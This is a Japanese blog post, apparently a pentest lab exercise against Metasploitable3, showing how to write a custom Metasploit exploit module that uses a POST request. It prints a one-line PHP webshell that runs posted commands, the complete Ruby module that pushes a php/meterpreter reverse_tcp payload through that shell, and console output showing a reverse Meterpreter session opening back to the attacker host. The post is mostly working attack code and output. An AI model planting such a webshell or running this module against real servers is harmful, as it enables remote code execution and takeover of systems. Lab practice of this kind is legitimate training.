MetasploitのExploitモジュールを作成してみた（ARCH_PHP版）

[Metasploitのガイドに従って、Exploitモジュールを作成してみた](https://qiita.com/tsuko5963/items/e7ee5d182ad5229e45a5)では、GETのリクエストで、ARCH_CMDのモジュールを作成しましたが、今回は、POSTのリクエストで、ARCH_PHPのモジュールを作成しました。
# WebShell
Metasploitable3のuploadsフォルダにdavtestを使用してアップロードします。
```php:webshell_post.php
<?php echo system($_POST['cmd']); ?>
```
# モジュール
```ruby:custom_mod_post.rb
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Command Injection against a test Ping endpoint',
        'Description' => 'This exploits a command injection vulnerability against a test application',
        'License' => MSF_LICENSE,
        'Author' => ['tsuko5963'],
        'References' => [],
        'DefaultOptions' =>
        {
          'encoder' => 'php/base64',
          'payload' => 'php/meterpreter/reverse_tcp',
        },
        'Privileged' => false,
        'Platform' => ['php'],
        'Arch' => [ARCH_PHP],
        'Targets' => [['Automatic Target', {}]],
        'DefaultTarget' => 0
      )
    )
  end

  def execute_command(cmd, _opts = {})
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri('/uploads/webshell_post.php'),
      'vars_post' =>
      {
        'cmd' => "php -r '#{payload.encoded}'",
      }
    })
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    execute_command(payload.encoded)
  end
end
```
POSTなので、filter_bad_charsでのエンコードは、不要です。
モジュールを~/.msf4/modules/exploits/にコピーします。
# 実行
metasploitを起動します。
```
msfconsole
```
custom_mod_postを選択して、RHOSTSとLHOSTを設定して、オプションを確認します。

```
[msf](Jobs:0 Agents:0) >> use custom_mod_post
[*] Using configured payload php/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(custom_mod_post) >> set rhosts 192.168.56.123
rhosts => 192.168.56.123
[msf](Jobs:0 Agents:0) exploit(custom_mod_post) >> set lhost 192.168.56.10
lhost => 192.168.56.10
[msf](Jobs:0 Agents:0) exploit(custom_mod_post) >> show options

Module options (exploit/custom_mod_post):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type
                                       :host:port][...]
   RHOSTS   192.168.56.123   yes       The target host(s), see https://docs.metaspl
                                       oit.com/docs/using-metasploit/basics/using-m
                                       etasploit.html
   RPORT    80               yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.56.10    yes       The listen address (an interface may be specif
                                     ied)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.
```
実行します。
```
[msf](Jobs:0 Agents:0) exploit(custom_mod_post) >> run
[*] Started reverse TCP handler on 192.168.56.10:4444 
[*] Executing Automatic Target for php/meterpreter/reverse_tcp
[*] Sending stage (40004 bytes) to 192.168.56.123
[*] Meterpreter session 1 opened (192.168.56.10:4444 -> 192.168.56.123:46793) at 2025-05-14 12:17:33 +0900

(Meterpreter 1)(/var/www/uploads) > 
```